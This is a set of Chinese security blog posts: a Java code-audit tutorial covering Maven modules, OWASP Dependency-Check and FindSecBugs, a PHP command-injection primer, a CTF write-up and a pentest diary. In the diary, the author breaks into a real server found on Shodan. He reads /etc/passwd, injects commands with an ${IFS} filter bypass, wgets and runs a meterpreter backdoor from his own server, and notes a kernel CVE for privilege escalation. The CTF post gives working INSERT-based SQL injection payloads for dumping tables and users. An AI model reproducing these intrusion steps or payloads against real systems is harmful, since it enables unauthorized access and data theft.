插件,表示源码用的是<code>1.7</code>的<code>JDK</code>并且生成的目标字节码文件也要是<code>1.7</code>的。</p><h3 id="子模块下的-pom-xml"><a href="#子模块下的-pom-xml" class="headerlink" title="子模块下的 pom.xml"></a>子模块下的 pom.xml</h3><p>点开每个子模块,看到每个模块下还会有一个<code>pom.xml</code>。</p><p><img src="/2018/10/29/java-audit-step-by-step-2/maven2.png" alt="maven2"></p><p>随便点一个<code>pom.xml</code>,它和根目录下的<code>pom.xml</code>有所不同,多了一个<code><parent></code>标签,和<code>dependencies</code>。</p><p><code><parent></code>标签,表示这个子模块,将上级的<code>jeesns</code>项目作父模块。</p><p><code>dependencies</code>,描述了这个模块的依赖关系。当前的<code>web</code>模块依赖于子模块<code>core</code>,<code>model</code>,<code>service</code>,<code>common</code>。而子模块<code>core</code>里,依赖于许多的第三方库,包括<code>Spring</code>、<code>MyBatis</code>、<code>apache-commons</code>等。它们都继承了上级的<code>jeesns</code>父模块,在逻辑上同属一个项目。</p><blockquote><p>相关文章 <a href="https://www.cnblogs.com/davenkin/p/advanced-maven-multi-module-vs-inheritance.html" target="_blank" rel="noopener">https://www.cnblogs.com/davenkin/p/advanced-maven-multi-module-vs-inheritance.html</a></p></blockquote><h2 id="第三方库的安全检查"><a href="#第三方库的安全检查" class="headerlink" title="第三方库的安全检查"></a>第三方库的安全检查</h2><p>前面有说过,<code>pom.xml</code>有个重要的作用是管理依赖关系。在<code><dependencies></code>中填写要引入的第三方库信息,<code>Maven</code>在<code>import</code>时,会从<code>仓库</code>下载相关的库文件,加入到当前项目。</p><p>我们需要<code><dependencies></code>中,检查使用的第三方库是否有已知的安全漏洞。<br>这里只要根据组件名称、版本号,去官网或者<code>CVE</code>漏洞库搜下就行了。如果项目很大,引入了太多库,这也是件很累的事情。</p><p>所以 OWASP 出了一个工具 <a href="https://www.owasp.org/index.php/OWASP_Dependency_Check" target="_blank" rel="noopener"><code>Dependency_Check</code></a> 专门检查这类问题,这个工具的使用在前面一篇已经讲过了,就不多介绍了。</p><h2 id="子模块"><a href="#子模块" class="headerlink" title="子模块"></a>子模块</h2><p><code>JEESNS</code> 一共分了六个子模块,分别是 <code>jeesns-common</code>、<code>jeesns-core</code>、<code>jeesns-dao</code>、<code>jeesns-model</code>、<code>jeesns-service</code>、<code>jeesns-web</code>。</p><p>接下来,我们来分析各个子模块的作用。</p><h3 id="jeesns-core"><a href="#jeesns-core" class="headerlink" title="jeesns-core"></a>jeesns-core</h3><p>看名字就知道,这是这套 Web 程序的核心部分。</p><p>通过分析 <code>pom.xml</code> 文件,发现它引入了以下第三方库:</p><table><thead><tr><th>库名</th><th>用途</th></tr></thead><tbody><tr><td>spring-*</td><td>spring 框架相关</td></tr><tr><td>freemarker</td><td>前端模板引擎</td></tr><tr><td>httpclient</td><td>http 客户端</td></tr><tr><td>mysql-connector</td><td>mysql 连接器驱动</td></tr><tr><td>c3p0</td><td>数据库连接池</td></tr><tr><td>mybatis</td><td>半自动 ORM 框架</td></tr><tr><td>hibernate-validator</td><td>数据有效性验证</td></tr><tr><td>jackson</td><td>json 数据处理库</td></tr><tr><td>jsoup</td><td>html 解析器</td></tr><tr><td>log4j</td><td>日志管理框架</td></tr><tr><td>commons-io</td><td>io 工具类</td></tr><tr><td>commons-codec</td><td>编码处理工具类</td></tr><tr><td>commons-lang</td><td>Java 基本对象工具类</td></tr><tr><td>commons-fileupload</td><td>提供文件上传功能</td></tr><tr><td>commons-logging</td><td>提供 Java 日志接口</td></tr></tbody></table><p>根据上表,即使我们不看官方的介绍,也基本可以确定这套程序的技术栈。</p><p>主要使用了 <code>SSM框架</code> (Spring+SpringMVC+MyBatis), <code>freemarker</code> 模板引擎,支持 <code>MySQL</code> 数据库,使用 <code>c3p0</code> 连接池,<code>jackson</code> 处理 <code>json</code> 数据,<code>hibernate-validator</code> 对用户传来的请求数据进行有效性验证,还有一些 <code>apache</code> 提供的工具类。</p><h4 id="包结构"><a href="#包结构" class="headerlink" title="包结构"></a>包结构</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">- core</span><br><span class="line"></span><br><span class="line"> - annotation 定义注解</span><br><span class="line"></span><br><span class="line"> - consts 定义常量</span><br><span class="line"></span><br><span class="line"> - directive 定义了一个抽象类 `BaseDirective` ,所有的标签类都会继承它</span><br><span class="line"></span><br><span class="line"> - dto 定义`响应结果`的数据传输模型</span><br><span class="line"></span><br><span class="line"> - enums 定义功能相关的常量</span><br><span class="line"></span><br><span class="line"> - exception 定义异常</span><br><span class="line"></span><br><span class="line"> - filter 定义过滤器,目前只有一个`XSS`过滤器</span><br><span class="line"></span><br><span class="line"> - handler 定义处理器,目前只有`DirectiveHandler`,负责处理每个页面的渲染</span><br><span class="line"></span><br><span class="line"> - model 定义了数据模型,这里只有`Page`,描述页面对象,用于数据分页情况</span><br><span class="line"></span><br><span class="line"> - utils 定义工具类</span><br><span class="line"></span><br><span class="line">+ interceptor</span><br><span class="line"></span><br><span class="line"> - PageInterceptor 分页拦截器,处理需要分页的请求。</span><br></pre></td></tr></table></figure><h4 id="模块小结"><a href="#模块小结" class="headerlink" title="模块小结"></a>模块小结</h4><p>通过分析 <code>jeesns-core</code> 的模块,我们已经知道了 <code>jeesns</code> 的技术栈,是目前比较流行的 <code>SSM</code> 框架,这个核心模块给整个项目构建了一个基本骨架,包括功能方面的还有我们关心的安全方面的(虽然只有 <code>XSS</code> 防御 <code>($ _ $)</code> )。</p><p>在分析下面模块之前,我们需要先了解 <code>SSM</code> 的一些概念。<a href="https://www.cnblogs.com/zyw-205520/p/4771253.html" target="_blank" rel="noopener">参考文章</a></p><p>当然,最重要的还是要知道什么是 <code>MVC</code>,因为大部分的 <code>Web</code> 项目,都是基于这种<code>设计模式</code>开发的,包括 <code>JEESNS</code> 。<a href="https://blog.csdn.net/qq_26411021/article/details/79493340" target="_blank" rel="noopener">参考文章</a></p><blockquote><p>设计模式与编程语言无关,可以说是一套经验科学,由前人总结、分类,被广泛使用。目的是为了代码可重用性、让代码更容易被他人理解、保证代码可靠性。</p></blockquote><blockquote><blockquote><p><code>Java</code> 设计模式学习链接:<a href="https://github.com/AlfredTheBest/Design-Pattern" target="_blank" rel="noopener">https://github.com/AlfredTheBest/Design-Pattern</a></p></blockquote></blockquote><p>如果,你已经了解了<code>SSM</code>、<code>MVC</code>的概念,那就接着往下看吧 <code>O(∩_∩)O</code> 。</p><h3 id="jeesns-web"><a href="#jeesns-web" class="headerlink" title="jeesns-web"></a>jeesns-web</h3><p>对应 <code>MVC</code> 中的 <code>Controller</code> 层,负责具体业务的模块流程的控制,会调用到下面 <code>Service</code> 层的接口来控制业务流程。</p><p><code>webapp</code> 里是 <code>View</code> 层用到的静态资源(js、css、jpg)以及<code>freemarker</code>的模板文件。</p><p><code>resources</code> 里,有项目相关的各种配置文件。</p><h4 id="模块小结-1"><a href="#模块小结-1" class="headerlink" title="模块小结"></a>模块小结</h4><p><code>Controller</code> 层和 <code>View</code> 层结合的最紧密,两者通常协同开发。</p><p>这里的 <code>Controller</code> 层还设置了<code>监听器</code>,负责对用户的身份和权限进行认证管理。</p><blockquote><p>通常在 Java Web 里,我们会用 <code>Spring-Security</code> 或 <code>Shiro</code> 这些第三方库来帮助我们实现<strong>用户认证和用户授权</strong>的功能 。</p></blockquote><h3 id="jeesns-service"><a href="#jeesns-service" class="headerlink" title="jeesns-service"></a>jeesns-service</h3><p><code>Service</code> 层,主要负责业务模块的应用逻辑应用设计,先设计接口,在设计实现类。这一层,是纯业务逻辑。在使用 <code>Service</code> 层时,会继续调用下面的 <code>DAO</code> 层的接口。</p><h3 id="jeesns-dao"><a href="#jeesns-dao" class="headerlink" title="jeesns-dao"></a>jeesns-dao</h3><p><code>DAO</code> 层,负责数据持久化,通俗点说就是用来和数据库交互,读写数据的模块。</p><p>前面有说到,<code>JEESNS</code> 用了 <code>MyBatis</code> 作为数据持久化框架。<code>MyBatis</code> 属于半自动 <code>ORM</code> ,它会帮我们自动将数据查询结果映射到对象,但是数据查询的 <code>SQL</code> 语句还是要我们自己手写,这点和其它的 <code>ORM</code> 明显的不一样。</p><p><code>MyBatis</code> 的使用方式主要有两种,一种是使用<code>注解</code>,直接将<code>SQL</code>语句和<code>方法</code>绑定在一起,像下面这样:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.mybatis.example;</span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">interface</span> <span class="title">BlogMapper</span> </span>{</span><br><span class="line"> <span class="meta">@Select</span>(<span class="string">"SELECT * FROM blog WHERE id = #{id}"</span>)</span><br><span class="line"> <span class="function">Blog <span class="title">selectBlog</span><span class="params">(<span class="keyword">int</span> id)</span></span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这种方式,适合简单的<code>SQL</code>语句,一旦语句长了,注释会变得复杂混乱,维护起来很麻烦,所以它只适合小项目(小项目用的也不多)。</p><p>用的最多的是第二种——<code>XML</code>配置,将<code>SQL</code>语句和<code>Java</code>代码分离,有独立的<code>xml</code>文件,描述某个方法会和某个<code>SQL</code>语句绑定。</p><p><img src="/2018/10/29/java-audit-step-by-step-2/mybatis1.png" alt="mybatis1"></p><p>如图,每一个接口,在资源文件目录中,都有对应的<code>xml</code>。接口中的方法,和<code>xml</code>中<code>id</code>相同的<code>SQL</code>语句关联。</p><p>例如,<code>IArticleCateDao</code> 的 <code>list()</code>方法被调用,那么就会找到 <code>ArticleCateMapper.xml</code>中 <code>id</code>等于 <code>list</code> 的方法,执行它的 <code>SQL</code>,然后根据 <code>resultMap</code> 描述的 <em>字段-属性</em> 映射关系,返回相应的实例对象。</p><p>这里的 <code>resultMap</code> 具体如下:</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">resultMap</span> <span class="attr">id</span>=<span class="string">"ArticleCateResult"</span> <span class="attr">type</span>=<span class="string">"ArticleCate"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">id</span> <span class="attr">column</span>=<span class="string">"id"</span> <span class="attr">jdbcType</span>=<span class="string">"INTEGER"</span> <span class="attr">property</span>=<span class="string">"id"</span> /></span></span><br><span class="line"> <span class="tag"><<span class="name">result</span> <span class="attr">column</span>=<span class="string">"fid"</span> <span class="attr">jdbcType</span>=<span class="string">"INTEGER"</span> <span class="attr">property</span>=<span class="string">"fid"</span> /></span></span><br><span class="line"> <span class="tag"><<span class="name">result</span> <span class="attr">column</span>=<span class="string">"name"</span> <span class="attr">jdbcType</span>=<span class="string">"VARCHAR"</span> <span class="attr">property</span>=<span class="string">"name"</span> /></span></span><br><span class="line"> <span class="tag"><<span class="name">result</span> <span class="attr">column</span>=<span class="string">"status"</span> <span class="attr">jdbcType</span>=<span class="string">"INTEGER"</span> <span class="attr">property</span>=<span class="string">"status"</span> /></span></span><br><span class="line"> <span class="tag"><<span class="name">result</span> <span class="attr">column</span>=<span class="string">"sort"</span> <span class="attr">jdbcType</span>=<span class="string">"INTEGER"</span> <span class="attr">property</span>=<span class="string">"sort"</span> /></span></span><br><span class="line"><span class="tag"></<span class="name">resultMap</span>></span></span><br></pre></td></tr></table></figure><p>其中,<code>id</code>属性是该映射的名称,<code>type</code>属性代表映射的类。里面有 <code>5</code> 个子元素,<code>id</code>元素映射到<code>ArticleCate</code>的<code>id</code>属性。其它四个<code>result</code>元素中的<code>column</code>属性会映射到对应的<code>property</code>属性。</p><h4 id="模块小结-2"><a href="#模块小结-2" class="headerlink" title="模块小结"></a>模块小结</h4><p><code>dao</code> 模块负责数据的持久化,会和数据库交互。开发者编写的<code>SQL</code>语句也定义在这个模块,<code>MyBatis</code>有特殊的语法将查询的参数代入到<code>SQL</code>语句中,如果开发者在这里使用的语法有问题,就有极有可能出现 <code>SQL注入</code>。</p><h3 id="jeesns-model"><a href="#jeesns-model" class="headerlink" title="jeesns-model"></a>jeesns-model</h3><p>定义了所有和功能业务相关的数据模型,和数据库表对应。</p><h3 id="jeesns-common"><a href="#jeesns-common" class="headerlink" title="jeesns-common"></a>jeesns-common</h3><p>定义了其它模块会用到的常量以及工具类。</p><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>本篇主要以 <code>JEESNS</code> 为例,介绍了目前比较流行的 <code>Java Web</code> 项目的结构。</p><p>理清项目结构后,我们就可以继续下一步——漏洞挖掘啦。</p>]]></content>
<tags>
<tag> Java </tag>
<tag> 代码审计 </tag>
</tags>
</entry>
<entry>
<title>从1开始的Java代码审计·第一弹·基础篇(上)</title>
<link href="/2018/10/25/java-audit-step-by-step-1/"/>
<url>/2018/10/25/java-audit-step-by-step-1/</url>
<content type="html"><![CDATA[<h1 id="基本环境"><a href="#基本环境" class="headerlink" title="基本环境"></a>基本环境</h1><h2 id="JDK"><a href="#JDK" class="headerlink" title="JDK"></a>JDK</h2><p>目前,<code>JDK</code>已经出到<code>11</code>了,<code>JDK</code>每个版本都会有些新特性出来。很多情况下<code>JDK</code>并不向下兼容,导致一些软件在较新的<code>JDK</code>中无法正常运行,所以推荐用现在比较主流的<code>JDK8</code>。而且有些漏洞需要在低版本的<code>JDK</code>上才能复现出来,比如反序列化用到的<code>JNDI Bean Property</code>类型的<code>Gadget</code>,需要在小于<code>JDK8_113</code>的版本下才可以利用,所以在安装的时候建议再安装一个低版本的JDK。JDK安装时自带的控制面板程序,可以帮助我们很方便的切换版本。</p><a id="more"></a><p><img src="/2018/10/25/java-audit-step-by-step-1/jdk_ctl.png" alt="jdk-ctl"></p><h2 id="IDE"><a href="#IDE" class="headerlink" title="IDE"></a>IDE</h2><p>做任何一门语言的代码审计,一个强大的IDE是必不可少的,好的IDE可以极大提高我们审计的效率。写Java的程序及代码审计,我推荐使用JetBrains家的<a href="https://www.jetbrains.com/idea/" target="_blank" rel="noopener"><code>Intelij IDEA</code></a>(JB大法好 O(∩_∩)O ),内置的代码检查工具比Eclipse强太多了,而且有很多的插件支持。</p><h2 id="数据库"><a href="#数据库" class="headerlink" title="数据库"></a>数据库</h2><p>常见的数据库有 MySQL、PostgreSQL、Oracle,除此之外还有现在比较流行的非关系型数据库 Redis、Mongodb、Memcached 等等,有些数据库安装起来可能比较麻烦,不用一次性装完,有需要的时候再去装就行了。</p><h2 id="Web-容器"><a href="#Web-容器" class="headerlink" title="Web 容器"></a>Web 容器</h2><p><code>Java Web</code>应用在开发完后,通常会以<code>war</code>包的形式发布,我们需要把这个<code>war</code>包部署到自己的<code>Web容器</code>(也可以说是Web服务器)里去,容器在启动后会自动解压<code>war</code>包,处理用户发来的HTTP请求,将<code>jsp</code>编译成<code>servlet</code>,管理<code>servlet</code>的整个生命周期。</p><p>常见的 Web 容器有 Tomcat,JBoss,Jetty,Weblogic,不同的容器在功能、性能上有所差异,但仅仅是做代码审计用<a href="http://tomcat.apache.org/" target="_blank" rel="noopener"><code>Tomcat</code></a>就足够了。</p><hr><h1 id="插件"><a href="#插件" class="headerlink" title="插件"></a>插件</h1><h2 id="依赖检查"><a href="#依赖检查" class="headerlink" title="依赖检查"></a>依赖检查</h2><p>一个完整的Java项目,必然会引入一些外部的第三方库。这些库如果出了安全漏洞,会给应用带来巨大的风险。比如经常爆洞的<code>struts2</code>,以及最近几年很火的Java反序列化漏洞相关的<code>fastjson</code>,<code>jackson</code>,<code>apache-commons-collections</code>等等。如果开发者在开发的时候,没有对引入的库做安全检查,或者是直接从代码库里拉出来的依赖配置,那么很可能会引入过时了很久的库版本,带来安全隐患。在 OWASP TOP10 中有讲到这一类型的安全风险。</p><blockquote><p>参考 <a href="https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities" target="_blank" rel="noopener"><code>OWASP TOP10 A9</code></a></p></blockquote><p>推荐一个工具,OWASP 出的 <a href="https://www.owasp.org/index.php/OWASP_Dependency_Check" target="_blank" rel="noopener"><code>Dependency_Check</code></a>,可以自动帮我们检查,引入的第三方库是否有已知的安全漏洞。</p><h3 id="使用方法"><a href="#使用方法" class="headerlink" title="使用方法"></a>使用方法</h3><h4 id="插件模式"><a href="#插件模式" class="headerlink" title="插件模式"></a>插件模式</h4><p>作为 maven 的插件使用,用法很简单,直接在项目的 <code>pom.xml</code> 写入</p><pre><code><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">plugin</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">groupId</span>></span>org.owasp<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">artifactId</span>></span>dependency-check-maven<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">version</span>></span>3.3.2<span class="tag"></<span class="name">version</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">executions</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">execution</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">goals</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">goal</span>></span>check<span class="tag"></<span class="name">goal</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">goals</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">execution</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">executions</span>></span></span><br><span class="line"><span class="tag"></<span class="name">plugin</span>></span></span><br></pre></td></tr></table></figure>然后,执行 `mvn verify` 就可以了。</code></pre><h4 id="命令行模式"><a href="#命令行模式" class="headerlink" title="命令行模式"></a>命令行模式</h4><p>我更喜欢以独立的命令行模式来运行,这样就不用进IDE额外修改 <code>pom.xml</code> 配置了。</p><ol><li><p>进入项目的github,<a href="https://github.com/jeremylong/DependencyCheck/releases" target="_blank" rel="noopener"><code>DependencyCheck</code></a>,找到最新的那版,下载下来。</p></li><li><p>解压出来,进到bin目录,有两个文件,分别对应windows版和linux版。</p></li></ol><p><img src="/2018/10/25/java-audit-step-by-step-1/bin_directory.png" alt="bin目录"></p><ol start="3"><li>进到命令行下,执行 <code>dependency-check.bat --project 项目名 --out 输出名 -s 源码路径</code> 即可,程序会自动从NVD更新漏洞库,所以需要点时间(应该还要翻墙)。</li></ol><p><img src="/2018/10/25/java-audit-step-by-step-1/exec_dc.png" alt="执行过程"></p><ol start="4"><li>扫描完毕后,会输出一份报告,如下:</li></ol><p><img src="/2018/10/25/java-audit-step-by-step-1/result_dc.png" alt="扫描结果"></p><h2 id="FindSecBugs"><a href="#FindSecBugs" class="headerlink" title="FindSecBugs"></a>FindSecBugs</h2><p><a href="https://find-sec-bugs.github.io" target="_blank" rel="noopener">FindSecBugs</a> 是专门用于检测Java Web应用安全漏洞的插件,支持多种IDE,还可以和SonarQube等代码分析平台集成。</p><h3 id="使用方法-1"><a href="#使用方法-1" class="headerlink" title="使用方法"></a>使用方法</h3><p>安装方法官网讲的很详细了,<a href="https://github.com/find-sec-bugs/find-sec-bugs/wiki/IntelliJ-Tutorial" target="_blank" rel="noopener">IDEA中安装FindSecBugs</a>。</p><p>这里主要讲IDEA中如何使用<code>FindSecBugs</code>。</p><p>IDEA打开要审计的项目以后,先点开 FindBugs-IDEA 标签,然后点左边的这个带绿色旗帜的文件夹logo,插件就会自动对项目进行审计。</p><p><img src="/2018/10/25/java-audit-step-by-step-1/exec_fsb.png" alt="开始扫描"></p><p><img src="/2018/10/25/java-audit-step-by-step-1/result_fsb.png" alt="扫描结果"></p><p>看这个项目的扫描结果,发现了 5 处安全bug,其中四处是文件的操作可能被用户控制,造成任意文件删除。当然,这也可能是误报,需要人工来再次确认。不过,这已经给我们的审计工作带来了很大的便利了(。^▽^)。</p><h2 id="抓包改包"><a href="#抓包改包" class="headerlink" title="抓包改包"></a>抓包改包</h2><p>做Java Web审计时,可能要结合黑盒的方法,动态调试。这时候就需要抓包改包的工具,发送自定义的HTTP包。这个功能很多工具都有,burpsuite,zap,postman,fiddler都可以用。</p>]]></content>
<tags>
<tag> Java </tag>
<tag> 代码审计 </tag>
</tags>
</entry>
<entry>
<title>从1开始的Java代码审计·序</title>
<link href="/2018/10/25/java-audit-step-by-step-0/"/>
<url>/2018/10/25/java-audit-step-by-step-0/</url>
<content type="html"><![CDATA[<p>小组经常有小伙伴问我<code>Java</code>该怎么审计,其实我也挺头大的。因为我觉得审<code>Java</code>的代码和审<code>PHP</code>的代码,相差不大。WEB 漏洞就那些,只是换了门语言实现而已,只要漏洞原理知道了,审起来是很容易的。</p><p>很多学安全的同学,应该是从<code>PHP</code>入门的。<code>PHP</code>作为一门脚本语言,跨平台、语法简单、易上手、开源框架多、用户量大。但是,<code>PHP</code>语言本身的特性,它在后期的拓展和维护困难,而且支持所有漏洞(抖个机灵)。很多对系统稳定性、安全性要求较高的厂商不太会去选择<code>PHP</code>,而是<code>Java</code>或者别的语言。</p><p><code>Java</code>是纯正的面向对象的语言,适合团队协作开发,重构、维护相对轻松,语言生态好,且在高性能、高并发、分布式的场景吊打某语言。(虽然<code>PHP</code>也是支持面向对象的写法,不过身边真的在用面向对象的方法写<code>PHP</code>的同学真的很少,可能是不太理解面向对象的概念,也可能是因为写起来代码太长了?)</p><p>目前,网上关于 WEB 代码审计的文章很多都是<code>PHP</code>的,和<code>Java</code>相关的很少,而且质量一般。所以我打算做一个<code>Java</code>代码审计的系列,分享<code>Java</code>代码审计相关的小姿势。</p><p>在这个系列里,我假设每个读者都对 Java 和 WEB 安全方面的知识都有一定的了解,所以可能不会对漏洞的原理做很深的分析。</p><p>如果你觉得看起来有些累,或者对某个漏洞不理解,建议先去找些相关资料学习下。</p>]]></content>
<tags>
<tag> Java </tag>
<tag> 代码审计 </tag>
</tags>
</entry>
<entry>
<title>渗透日记-20181005</title>
<link href="/2018/10/05/pentest-20181005/"/>
<url>/2018/10/05/pentest-20181005/</url>
<content type="html"><![CDATA[<p>在 shodan 上搜到一个有趣的站,名字就叫 webshell。</p><p><img src="/2018/10/05/pentest-20181005/1.png" alt="1"></p><p>根据提示</p><blockquote><p>Nothing specify params. Try to use “?file=” or “?id=time” to read a stream.</p></blockquote><p>可以通过 file 参数读取文件内容。</p><p>尝试读取 /etc/passwd 成功。</p><a id="more"></a><p><img src="/2018/10/05/pentest-20181005/2.png" alt="2"></p><p>尝试执行命令,<code>a;ls</code>,成功。</p><p><img src="/2018/10/05/pentest-20181005/3.png" alt="3"></p><p>但是但我尝试读取上级目录的时候,<code>a;ls ..</code>,失败。</p><p><img src="/2018/10/05/pentest-20181005/4.png" alt="4"></p><p>尝试了很多方法,最后发现,可能是空格失效了。</p><p>找到 l3m0n 师傅的命令执行绕过技巧,尝试 <code><></code> <code>${IFS}</code> 替代空格。</p><p>执行成功。</p><p><img src="/2018/10/05/pentest-20181005/5.png" alt="5"></p><p>接下来,就可以弹一个shell回来,然后为所欲为啦。 (。^▽^)</p><p>不过我喜欢用 msf ,那就先在自己服务器的 web 目录写一个 meterpreter 的后门。</p><p>再 wget 下来后运行。</p><p><img src="/2018/10/05/pentest-20181005/6.png" alt="6"></p><p><img src="/2018/10/05/pentest-20181005/7.png" alt="7"></p><p>成功连上。</p><p><img src="/2018/10/05/pentest-20181005/8.png" alt="8"></p><p>Ubuntu 16.04 内核 <code>4.4.0-77</code>,<code>CVE-2017-16995</code> 应该可以直接提权,不过是国内的机器,也没什么太多有意思的东西,就不深入了。</p>]]></content>
<tags>
<tag> Pentest </tag>
</tags>
</entry>
<entry>
<title>PHP中的命令执行</title>
<link href="/2018/09/18/summary-command-execution/"/>
<url>/2018/09/18/summary-command-execution/</url>
<content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>在 PHP 中, <code>exec()</code>、<code>system()</code>、<code>popen()</code>、<code>passthru()</code>、<code>proc_open()</code>、<code>pcntl_exec()</code>、<code>shell_exec()</code>,还有反引号 ``包裹的内容,都可以用来执行系统命令。</p><p>如果执行的命令参数是用户可控的,那么就会造成命令执行漏洞。</p><p>下面是常见的函数描述:</p><ul><li><p>system()</p><p> 输出并返回最后一行shell结果。 </p></li><li><p>exec()</p><p> 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。</p></li><li><p>passthru()</p><p> 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。</p></li><li><p>popen()、proc_open()</p><p> 不会直接返回执行结果,而是返回一个文件指针。</p></li><li><p>反引号</p><p> 调用 <code>shell_exec()</code> 函数</p></li></ul><a id="more"></a><hr><h2 id="各平台的漏洞利用"><a href="#各平台的漏洞利用" class="headerlink" title="各平台的漏洞利用"></a>各平台的漏洞利用</h2><p>在实际场景中,要利用命令执行漏洞,通常需要借助管道符,拼接到正常的命令参数中来实现。</p><p>各个平台支持的管道符都有所不同,下面是 <code>Windows</code> 及 <code>Linux</code> 支持的管道符。</p><h3 id="Windows"><a href="#Windows" class="headerlink" title="Windows"></a>Windows</h3><ul><li><p>|</p><p> 直接执行后面的语句。</p><blockquote><p>ping | whoami</p></blockquote></li><li><p>||</p><p> 如果前面的语句执行出错,则执行后面的语句。</p><blockquote><p>p || whoami</p></blockquote></li><li><p>\&</p><p> 如果前面的语句为假,直接执行后面的语句。</p><p> 为真,也会执行后面的语句。</p><blockquote><p>ping 127.0.0.1 & whoami</p></blockquote></li><li><p>\&\&</p><p> 如果前面的语句为假直接出错,不会执行后面的。前面的语句必须为真。</p><blockquote><p>ping 127.0.0.1 && whoami</p></blockquote></li></ul><h3 id="Linux"><a href="#Linux" class="headerlink" title="Linux"></a>Linux</h3><ul><li><p>\;</p><p> 执行完前面的语句,再执行后面的。</p><blockquote><p>ping 127.0.0.1;whoami</p></blockquote></li><li><p>|</p><p> 直接执行后面的语句。</p><blockquote><p>ping | whoami</p></blockquote></li><li><p>||</p><p> 如果前面的语句执行出错,则执行后面的语句。</p><blockquote><p>p || whoami</p></blockquote></li><li><p>\&</p><p> 如果前面的语句为假,直接执行后面的语句。</p><p> 为真,也会执行后面的语句。</p><blockquote><p>ping 127.0.0.1 & whoami</p></blockquote></li><li><p>\&\&</p><p> 如果前面的语句为假直接出错,不会执行后面的。前面的语句必须为真。</p><blockquote><p>ping 127.0.0.1 && whoami</p></blockquote></li></ul><hr><h2 id="防御方法"><a href="#防御方法" class="headerlink" title="防御方法"></a>防御方法</h2><p>PHP 内置了两个函数,<code>escapeshellarg()</code>,<code>escapeshellcmd()</code>可以防止命令执行。</p><ol><li><p>escapeshellarg()</p><p> 把字符串转码为可以在 shell 命令里使用的参数。</p></li><li><p>escapeshellcmd()</p><p> shell 元字符转义。</p><p> 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 <code>exec()</code> 或 <code>system()</code> 函数,或者 执行操作符 之前进行转义。</p><p> 反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$\, \x0A 和 \xFF。 ‘ 和 “ 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。</p></li></ol>]]></content>
<tags>
<tag> Web </tag>
<tag> PHP </tag>
</tags>
</entry>
<entry>
<title>i春秋-Web-BLOG</title>
<link href="/2018/09/11/ichunqiu-web-BLOG/"/>
<url>/2018/09/11/ichunqiu-web-BLOG/</url>
<content type="html"><![CDATA[<p>一个BLOG,注册后登录,发现使用了 <code>kindeditor 4.1.10</code> 编辑器,这个编辑器存在目录遍历漏洞,访问 <code>/kindeditor/php/file_manager_json.php?path=../</code>,会泄露目录内文件。</p><a id="more"></a><p><img src="/2018/09/11/ichunqiu-web-BLOG/kindeditor.png" alt="kindeditor"></p><p>发现 <code>flag</code> 就在网站根目录下,但是没办法访问到。</p><p>继续摸索,有个发文章的功能,存在SQL注入,INSERT型。</p><p>通过INSERT可以批量添加记录的特性,判断出当前表存在4个字段。</p><p>Payload:</p><blockquote><p>title=1&content=1’,’1’),(‘aaa’,’bbb’,’ccc’) # 报错<br>title=1&content=1’,’1’),(‘aaa’,’bbb’,’ccc’,’ddd’) # 成功</p></blockquote><p>根据回显,得出第二个字段是标题,第三个字段是内容。</p><p>开始爆数据:</p><ul><li><p>爆表名</p><blockquote><p>title=1&content=1’,’1’),(‘aaa’,(select group_concat(table_name) from information_schema.tables where table_schema = database()),’ccc’,’ddd’) # 得到表 [posts,users]</p></blockquote></li><li><p>爆字段</p><blockquote><p>title=1&content=1’,’1’),(‘aaa’,(select table_name, column_name from information_schema.columns where table_name = ‘users’ # 得到两个字段 [username,password]</p></blockquote></li><li><p>爆用户</p><blockquote><p>title=1&content=1’,’1’),(‘aaa’,(select group_concat(username) from users ),’ccc’,’ddd’) # 得到用户名 admin 